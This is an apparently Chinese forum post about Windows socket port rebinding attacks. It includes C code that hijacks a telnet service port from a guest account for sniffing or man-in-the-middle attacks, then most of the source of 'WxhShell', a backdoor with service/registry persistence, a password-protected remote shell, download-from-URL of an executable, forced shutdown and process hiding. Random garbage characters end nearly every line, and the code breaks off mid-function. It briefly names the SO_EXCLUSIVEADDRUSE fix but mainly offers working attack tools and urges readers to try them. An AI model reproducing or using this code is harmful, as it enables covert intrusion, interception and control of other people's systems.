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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _KloX{a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xz:ha >}C  
l4mRNYv)z  
  saddr.sin_family = AF_INET; P cbhylKd  
{nM1$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m*1  
h#Rza-?"\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +<$nZ=,hsy  
t<c7%i#Od  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `3? HQ2n  
wIAH,3!  
  这意味着什么?意味着可以进行如下的攻击: %yc-D]P/  
q%M~gp1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $XcH.z  
c ?<)!9:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?zP 2   
Q "NZE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M^OYQf  
2oc18#iG (  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2Y9u9;ah  
 mVS^HQ:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "{+2Q  
#mJRL[V5^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t@R n#(~"  
E;`^`T40  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `e;r$Vpd_  
rS!@AgPLE  
  #include `z q+Xl  
  #include pdFO!A_t  
  #include PPy~dp  
  #include    WqM| nX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]8"U)fzmc.  
  int main() [;yH.wn#5  
  { c zT2f  
  WORD wVersionRequested; sMVk]Mb  
  DWORD ret; =rZ'!Pa  
  WSADATA wsaData; a6xo U;T  
  BOOL val; yK&  
  SOCKADDR_IN saddr; "doiD=b  
  SOCKADDR_IN scaddr; NCT:!&  
  int err; h|PC?@jp  
  SOCKET s; DC/Czkv9  
  SOCKET sc; G 0Z5h  
  int caddsize; x%k@&d;z  
  HANDLE mt; }:0ru_F)(4  
  DWORD tid;   qAd=i0{N  
  wVersionRequested = MAKEWORD( 2, 2 ); (f_YgQEL  
  err = WSAStartup( wVersionRequested, &wsaData ); ?Bq^#i |m  
  if ( err != 0 ) { ?[.8A/:5  
  printf("error!WSAStartup failed!\n"); zjow %  
  return -1; oR~d<^z(  
  } ?%~^PHgZ|  
  saddr.sin_family = AF_INET; 4sO Rp^t'Q  
   32HF&P+0%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M:oM(K+  
{irc~||4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BtbU?t  
  saddr.sin_port = htons(23); QnP3U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :Cx|(+T  
  { `V<jt5TS  
  printf("error!socket failed!\n"); QD3tM5(Yr  
  return -1; O9>$(`@I  
  } uJH[C>  
  val = TRUE; ilK*Xo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K,! V _  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q~0>GOq*  
  { Pf,@U'f|  
  printf("error!setsockopt failed!\n"); O<V 4j,  
  return -1; VZr:yE  
  } T^`; wD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @q>Hl`a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9)W &yi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BK=w'1U  
j-R*!i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a,S;JF)v  
  { %aw.o*@:  
  ret=GetLastError(); .?QYqGcG  
  printf("error!bind failed!\n"); AnX<\7bc}  
  return -1; P[G>uA>Z1  
  } 'n-y*f  
  listen(s,2); B1!xr-kC  
  while(1) X|Y(*$?D7  
  { 7pY :.iVO  
  caddsize = sizeof(scaddr); ^s7!F.O C  
  //接受连接请求 Kd^.>T-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (oX!D(OI  
  if(sc!=INVALID_SOCKET) 4L8hn4F  
  { !*"fWahv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X)~wB7_0G  
  if(mt==NULL) : (X3?%  
  { b\`S[  
  printf("Thread Creat Failed!\n"); r*l3Hrho~K  
  break; fM"*;LN!N  
  } y-bUVw!Y  
  } A|+QUPD  
  CloseHandle(mt); "t.` /4R2w  
  } _,T 4DS6  
  closesocket(s); ~o%igJ }.C  
  WSACleanup(); 9)'f)60^  
  return 0; qJdlZW<  
  }   ]n|Jc_Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) ySmbX  
  { \/Mx|7<  
  SOCKET ss = (SOCKET)lpParam; 18Y#=uH}  
  SOCKET sc; bqAW  
  unsigned char buf[4096]; *l+Dbm,u  
  SOCKADDR_IN saddr; *|dr-e_j  
  long num; s||" } l  
  DWORD val; pzz* >Y  
  DWORD ret; OA[e}Vn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rYr*D[m]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vW=L{8zu  
  saddr.sin_family = AF_INET; V3t#kv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &2`p#riAS  
  saddr.sin_port = htons(23); LjBIRV7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V|_ h[hXE  
  { rR#Ditn^  
  printf("error!socket failed!\n"); m|qktLx  
  return -1; |R0f--;  
  } + GI906K  
  val = 100; VX$WL"A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e(? w h   
  { c;$ 4}U4  
  ret = GetLastError(); !=YKfzE  
  return -1; 2]5{Xmmo9  
  } m$W >~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qcj {rG18  
  { 'k X8}bx  
  ret = GetLastError(); pUXoSnIq:  
  return -1; Cd}^&z  
  } }xk(aM_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n:%4 SZn  
  { !@=S,Vc.  
  printf("error!socket connect failed!\n"); [k6I#v<&  
  closesocket(sc); y?<KN0j  
  closesocket(ss); aTuu",f  
  return -1; gc.Lh~  
  } cq4~(PXT g  
  while(1) UZyg_G6  
  { t}YcB`q)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X8$i*#D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7FG;fJ;&NZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Wo 1x ZZ  
  num = recv(ss,buf,4096,0); h1w({<q*ov  
  if(num>0) mM,HMrgLqK  
  send(sc,buf,num,0); m4mE7Wn.3  
  else if(num==0) R~\R>\  
  break; <\^0!v  
  num = recv(sc,buf,4096,0); r)*23&Ojs  
  if(num>0) bhqSqU}6~  
  send(ss,buf,num,0); =-h^j  
  else if(num==0) &lQ%;)'  
  break; g+ c*VmY  
  } zjpZ] $  
  closesocket(ss); v675C#l(  
  closesocket(sc); >'*%wf[{  
  return 0 ; } oPO`  
  } xZ'fer`&  
3p%e_?  
ZL( j5E  
========================================================== ]r Uj<[O  
Jo5Bmh0  
下边附上一个代码,,WXhSHELL F]\ Sk'}&  
M@Th^yF+8H  
========================================================== V8^la'_j  
5Gz!Bf@!!  
#include "stdafx.h" *w+'I*QSt~  
=;Gq:mHi  
#include <stdio.h> *uc/| c  
#include <string.h> Z`Y&cKsn  
#include <windows.h> #e' >9T  
#include <winsock2.h> K:,V>DL  
#include <winsvc.h> ?I}RX~Tgg  
#include <urlmon.h> G4* LO  
p*;!5;OUR  
#pragma comment (lib, "Ws2_32.lib") K10G+'H^  
#pragma comment (lib, "urlmon.lib") [wGj?M}  
'`>%RZ]  
#define MAX_USER   100 // 最大客户端连接数 }`uyOgGg*  
#define BUF_SOCK   200 // sock buffer F.[%0b E  
#define KEY_BUFF   255 // 输入 buffer '+88UFSq5  
Q:-T' xk@  
#define REBOOT     0   // 重启 w*F[[*j@.  
#define SHUTDOWN   1   // 关机 1 G>Ud6(3<  
`YNzcn0x  
#define DEF_PORT   5000 // 监听端口 &6eo;8 `U  
bb6x} jR  
#define REG_LEN     16   // 注册表键长度 ={g)[:(C.  
#define SVC_LEN     80   // NT服务名长度 OoB|Eh|),  
ZQ`8RF *v  
// 从dll定义API TM)INo^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b>ai"!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); msl.{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hjm> I'9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~y<0Cc3Vs  
\<7Bx[/D4  
// wxhshell配置信息 \5ls <=S.  
struct WSCFG { `16'qc  
  int ws_port;         // 监听端口 ] K$YtM^  
  char ws_passstr[REG_LEN]; // 口令 _*mn4n=  
  int ws_autoins;       // 安装标记, 1=yes 0=no 67j kU!  
  char ws_regname[REG_LEN]; // 注册表键名 IiPX`V>RC  
  char ws_svcname[REG_LEN]; // 服务名 Q]WBH_j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @6;OF5VsQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wWl ?c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =pL$*`]?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s= Fp[>qA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "qmSwdM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v;,W ^#`  
K=gg<E<  
};  u r$  
dxeiN#(XT  
// default Wxhshell configuration +~8Lc'0aA  
struct WSCFG wscfg={DEF_PORT, h FU8iB`Q  
    "xuhuanlingzhe", VVJ0?G (?  
    1, 1eI*.pt  
    "Wxhshell", &[G)Y D  
    "Wxhshell", 6 H|SiO9  
            "WxhShell Service", 4C;;V m4~  
    "Wrsky Windows CmdShell Service", ;Q{D]4  
    "Please Input Your Password: ", 9D3W_eIc  
  1, J!C \R5\  
  "http://www.wrsky.com/wxhshell.exe", %]P{)*y-?  
  "Wxhshell.exe" fFJ7Y+^  
    }; IdmP!(u  
um9&f~M  
// 消息定义模块 x6cG'3&T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hz/mNDE]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wl| i$L)7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Oo|JIr7i  
char *msg_ws_ext="\n\rExit."; >CvhTrPI  
char *msg_ws_end="\n\rQuit."; B^2r4 9vC  
char *msg_ws_boot="\n\rReboot..."; ?`RlYu  
char *msg_ws_poff="\n\rShutdown..."; }?2X q  
char *msg_ws_down="\n\rSave to "; P'KA-4!  
@qNY"c%HV  
char *msg_ws_err="\n\rErr!"; ag'hHFV  
char *msg_ws_ok="\n\rOK!"; .gO|=E"  
{ j_-iF  
char ExeFile[MAX_PATH]; pA8bFtt  
int nUser = 0; ?`+VWa[,e  
HANDLE handles[MAX_USER]; K~:SLCv E%  
int OsIsNt; OU{c| O  
c/ Pql!h+  
SERVICE_STATUS       serviceStatus; It3k#A0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q^xG%YdPz+  
L2@:?WW[  
// 函数声明 -nGcm"'6F  
int Install(void); i*$+>3Q-  
int Uninstall(void); Noj*K6  
int DownloadFile(char *sURL, SOCKET wsh); >/-H!jUF]  
int Boot(int flag); i$kB6B#==  
void HideProc(void); 6%V:Z  
int GetOsVer(void); >vD}gGBe  
int Wxhshell(SOCKET wsl); A.b^?k%I  
void TalkWithClient(void *cs); (1x8DVXNN  
int CmdShell(SOCKET sock); #`y[75<n  
int StartFromService(void); {XU!p: x  
int StartWxhshell(LPSTR lpCmdLine); M4Cb(QAVP  
((gI OTV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GP+=b:C{E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /)[-5n{  
lL zR5445)  
// 数据结构和表定义 |mMsU,*gB  
SERVICE_TABLE_ENTRY DispatchTable[] = |ru!C(  
{ e!J5h <:  
{wscfg.ws_svcname, NTServiceMain}, gq?O}gVD  
{NULL, NULL} ObM/~{rKx  
}; 0j8fU7~6S  
ou0TKE9 _  
// 自我安装 z uNm !$  
int Install(void) .4]XR/I$  
{ 0V6, &rTF  
  char svExeFile[MAX_PATH]; _wXT9`|3  
  HKEY key; ="]lN  
  strcpy(svExeFile,ExeFile); i\lvxbp  
Mq~E'g4#  
// 如果是win9x系统,修改注册表设为自启动 qt.4dTd:_  
if(!OsIsNt) { dWzf C@]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <k[_AlCmsg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yl?LXc[)  
  RegCloseKey(key); ^0"^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^+-QY\N j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m> +  
  RegCloseKey(key); Ak3^en  
  return 0; xJw" 8V<  
    } Yt*NIwWr  
  } W/A@qo"  
} YKUAI+ks  
else { @|;[ ;:h@  
] K&ca  
// 如果是NT以上系统,安装为系统服务 ,Gy,bcv{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !.%*Tp#k#  
if (schSCManager!=0) NI"Zocp  
{ )0I -N)  
  SC_HANDLE schService = CreateService *0oa2fz%  
  ( V|A.M-XLv4  
  schSCManager, hgYFR6VH  
  wscfg.ws_svcname, = mQY%l  
  wscfg.ws_svcdisp, X*#\JF4$i  
  SERVICE_ALL_ACCESS, }+lK'6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c\[&IlM  
  SERVICE_AUTO_START, N6kMl  
  SERVICE_ERROR_NORMAL, OLF6["0Rn  
  svExeFile, ~tTa[_a!  
  NULL, m!zv t  
  NULL, mx1Bk9h%Xe  
  NULL, f-^*p  
  NULL, u`B/9-K)y  
  NULL I;AS.y  
  ); Dd0yQgCu  
  if (schService!=0) U1 3Lsky%  
  { )s7EhIP  
  CloseServiceHandle(schService); aiX4;'$x!  
  CloseServiceHandle(schSCManager); IecD41%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - A}$5/  
  strcat(svExeFile,wscfg.ws_svcname); Gyy4)dP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 902A,*qq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ve a$G~[%6  
  RegCloseKey(key); QHXpX9  
  return 0; [$$R>ELYQ  
    } MS2/<LD3d  
  } ]ml'd  
  CloseServiceHandle(schSCManager); UC`sq-n  
} {>64-bU  
} Pvv7|AV   
j^Qk\(^#IV  
return 1; R/B/|x  
} u6E ze4u  
l YdATM(h  
// 自我卸载 bA6^R If?  
int Uninstall(void) B\|^$z2  
{ !}`[s2ji  
  HKEY key; _MQh<,Z8  
!#5y%Bf  
if(!OsIsNt) { b*Hk} !qH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { va(6?"9  
  RegDeleteValue(key,wscfg.ws_regname); Rc@lGq9  
  RegCloseKey(key); "FE%k>aV@v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KKg\n^  
  RegDeleteValue(key,wscfg.ws_regname); 7k#>$sY+  
  RegCloseKey(key); rCGKE`H  
  return 0; _=[pW2p  
  } ykx13|iR  
} Efd@\m:~>  
} INCanE`+  
else { q?w%%.9]X  
iF:NDqc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'L1yFv  
if (schSCManager!=0) 4dz Ym+vJm  
{ *|+$7j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M.$=tuUL  
  if (schService!=0) 'w;J) _Yc2  
  { `]&'yt  
  if(DeleteService(schService)!=0) { z`J-J*R>d  
  CloseServiceHandle(schService); 8M['-  
  CloseServiceHandle(schSCManager); /HSg)  
  return 0; vMXn#eR  
  } #LYx;[D6  
  CloseServiceHandle(schService); Me+)2S 9  
  } ?a?] LIE8  
  CloseServiceHandle(schSCManager); Ko0T[TNkh  
} z.t,qi$;{U  
} 5 tVg++I  
+b dnTV6  
return 1; 4%>tk 8 [  
} )qWO}]F  
(elkk#  
// 从指定url下载文件 y+.(E-g  
int DownloadFile(char *sURL, SOCKET wsh) (WGEX(|  
{ |L)qH"Eo  
  HRESULT hr; iqTmgE-  
char seps[]= "/"; i8/"|+Z  
char *token; <U /r U9O  
char *file; eA9r M:  
char myURL[MAX_PATH]; k~1{|HxrE  
char myFILE[MAX_PATH]; ]`@< I'?,X  
Kku@!lv  
strcpy(myURL,sURL); {*Qx^e`h$.  
  token=strtok(myURL,seps); oFu( J  
  while(token!=NULL) \FIOFbwe  
  { T,4REbm^  
    file=token; HxShNU  
  token=strtok(NULL,seps); J\ ?  
  } |uA /72  
=co6.Il  
GetCurrentDirectory(MAX_PATH,myFILE); CakB`q(8  
strcat(myFILE, "\\"); ,5|@vW2@u  
strcat(myFILE, file); @%As>X<3t  
  send(wsh,myFILE,strlen(myFILE),0); ,Ct1)%   
send(wsh,"...",3,0); 3{- 8n/4 k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #|}EPD9$  
  if(hr==S_OK) F)tcQO"G  
return 0; X4v0>c  
else L8KMMYh[  
return 1; OmECvL'Z  
&m@DK>  
} Z uO 7 N  
cfW;gFf  
// 系统电源模块 T C._kAm  
int Boot(int flag) wb-_CQ  
{ 5SHZRF(. 2  
  HANDLE hToken; WS ^%< h#  
  TOKEN_PRIVILEGES tkp; )>^!X$`3  
~$ "P\iJ  
  if(OsIsNt) { #6Fc-ysk:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O>2i)M-h9x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]AB4w+6!  
    tkp.PrivilegeCount = 1; Mvlqx J$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vF$sVu|B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8Nf%<nUv  
if(flag==REBOOT) { [`|gj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n]P,5  
  return 0; *Ag,/Cm]  
} e[L%M:e9U  
else { 4Y}{?]>pu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i~EFRI@  
  return 0; _{YUWV50}  
} rIWQD%Afm  
  } @L5s.]vg=  
  else { 05o 1  
if(flag==REBOOT) { xU;;@9X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &X OFc.u  
  return 0; ]F*fQ Ncjy  
} X< p KAO\  
else { @ZGD'+zd?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W 33MYw  
  return 0; 4:Id8r zz  
} jZ>x5 W  
} NN@'79x  
4jdP3Q/  
return 1; xg_9#  
} v<t r1cUT  
=^`?O* /;  
// win9x进程隐藏模块 8(""ui 8  
void HideProc(void) f#b;s<G  
{ q jmlwVw  
4 oZm0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SK;c D>)  
  if ( hKernel != NULL ) fy|$A@f  
  { )lrmP(C*.a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^K'@W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D $3Mg  
    FreeLibrary(hKernel); MC;2.e`  
  } 6_kv~`"tZ  
)@[##F2  
return; {>n\B~*,"C  
} z6;6 o!ej  
B6xM#)  
// 获取操作系统版本 }*s`R;B|,  
int GetOsVer(void) G#nZ%qQ:I  
{ ?]PE!7H  
  OSVERSIONINFO winfo; ~Y/o9x0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yU'<b.]  
  GetVersionEx(&winfo); Lv m"!!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2$s2u;  
  return 1; Gqs)E"h  
  else FDCc?>,o  
  return 0; z^^)n  
} R]<N";-  
X)b@ia'"Wp  
// 客户端句柄模块 |Q?^Ba  
int Wxhshell(SOCKET wsl) 8(ej]9RObU  
{ ce:p*  
  SOCKET wsh; Xli$4 uL   
  struct sockaddr_in client; ! 8*l U2  
  DWORD myID; 7-#   
F(KsB5OY?  
  while(nUser<MAX_USER) ???`BF[|  
{ 2mEvoWnJ  
  int nSize=sizeof(client); ApNS0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "Tz'j}< 9C  
  if(wsh==INVALID_SOCKET) return 1; ! G3Gr  
ACOn}yH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5D eo}(3  
if(handles[nUser]==0) LR#BP}\b'  
  closesocket(wsh); +h08uo5c  
else yQ0:M/r;0  
  nUser++; %y_{?|+  
  } <.".,Na(J0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T:Nc^QP|tm  
f~ wgMp.W0  
  return 0; uH]oHh!}j  
} ZeLed[J^xJ  
_;M3=MTM9  
// 关闭 socket nvQTJ4,,  
void CloseIt(SOCKET wsh) U0Uy C  
{ m~0Kos%^*b  
closesocket(wsh); VwOcWKD  
nUser--; }i{A4f `  
ExitThread(0); Wh)!Ha}  
} 6n^@Ps  
O,JS*jXl  
// 客户端请求句柄 Y>6N2&Q  
void TalkWithClient(void *cs) XY#.?<"Q8  
{ aW-6$=W  
0j;q^>  
  SOCKET wsh=(SOCKET)cs; _n1[(I  
  char pwd[SVC_LEN]; +PS jBO4!  
  char cmd[KEY_BUFF]; ``%yVVg}  
char chr[1]; XBoq/kbw!  
int i,j; NfUt\ p*  
5|5p -B  
  while (nUser < MAX_USER) { 4*&k~0#t  
#_{Q&QUk  
if(wscfg.ws_passstr) { F$bV}>-1k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tzthc*-<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :bm%f%gg  
  //ZeroMemory(pwd,KEY_BUFF); L 0oVXmlr  
      i=0; u"4 B5D  
  while(i<SVC_LEN) { C]p@7"l  
bf|ePGW?  
  // 设置超时 ;tSA Q  
  fd_set FdRead; }wkY`"  
  struct timeval TimeOut; tv26eK 38  
  FD_ZERO(&FdRead); ]IEZ?+F,  
  FD_SET(wsh,&FdRead); m7DKC,  
  TimeOut.tv_sec=8; ^GyZycch  
  TimeOut.tv_usec=0; 'qvj[lpGr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -]+pwZ4g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K{{_qFj@<y  
SnR2o3r-Of  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2;u i'B  
  pwd=chr[0]; le]~Cy0  
  if(chr[0]==0xd || chr[0]==0xa) { > K?OsvX  
  pwd=0; =YTcWB  
  break; n}j6gN!O  
  } vENf3;o0  
  i++; e"52'zAV-  
    } E^zfI9R  
r34MDUZdI  
  // 如果是非法用户,关闭 socket )9:5?,SO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); " X8jpg  
} H=Ilum06  
[IQ|c?DxpL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ? ep#s$i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hddc-7s  
-~|{q)!F  
while(1) { ?UZt30|1  
4a "Fu<q  
  ZeroMemory(cmd,KEY_BUFF); :#pdyJQ_  
/rnI"ze`  
      // 自动支持客户端 telnet标准   Ph1XI&us9  
  j=0; =I'3C']Z W  
  while(j<KEY_BUFF) { L_NiU;cr%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &J*M  
  cmd[j]=chr[0]; <ZF|2  
  if(chr[0]==0xa || chr[0]==0xd) { Ch_rV+  
  cmd[j]=0; U8w_C\Q  
  break; N);w~)MYh  
  } /}(d'@8p  
  j++; )&Oc7\J,  
    } M .b8 -`V  
q8 ?kBKP  
  // 下载文件 Y~-y\l;Tr  
  if(strstr(cmd,"http://")) { 6t6Z&0$h~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ir6' \  
  if(DownloadFile(cmd,wsh)) La;G S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  b.&W W  
  else [d6!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XiE`_%NW  
  } 3}0\W.jH  
  else { 8w&-O~M  
.$%p0Yx+  
    switch(cmd[0]) { DH-M|~.sf^  
  .B# .   
  // 帮助 ttzNv>L,  
  case '?': { W]9*dabem  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rp||#v0l!w  
    break; `}}:9d  
  } 5^u$zfR  
  // 安装 4Z( #;9f  
  case 'i': { G@[8P?M=Z  
    if(Install()) -3EQRqVg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9CY{}g  
    else :8A+2ra&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xH-d<Ht,7  
    break; ~&i4FuK  
    } `6D?te  
  // 卸载 J:L+q} A  
  case 'r': { z-5`6aE9<  
    if(Uninstall()) 6pt_cpbR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n|w+08c"  
    else l_vGp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }}AIpYp,P  
    break; &O&HczO  
    } U(#<D7}  
  // 显示 wxhshell 所在路径 I0Pw~Jj{  
  case 'p': { :v&[ !  
    char svExeFile[MAX_PATH]; #DTKz]i?  
    strcpy(svExeFile,"\n\r"); KP&+fDa  
      strcat(svExeFile,ExeFile); _ E;T"SC  
        send(wsh,svExeFile,strlen(svExeFile),0); 9y7N}T6  
    break; `8:)? 0Ez  
    } Z2% HQL2  
  // 重启 xM*_1+<dT$  
  case 'b': { eU yF<j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kg[OUBv  
    if(Boot(REBOOT)) #~*v##^vFH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d7OygDb<  
    else { XE}gl&\  
    closesocket(wsh); <n2@;` D  
    ExitThread(0); y+k_&ss  
    } R'Sd'pSDN  
    break; D*XrK0#Z`  
    } |Wh3a#  
  // 关机 |3*9+4]a  
  case 'd': { SK<Rk  
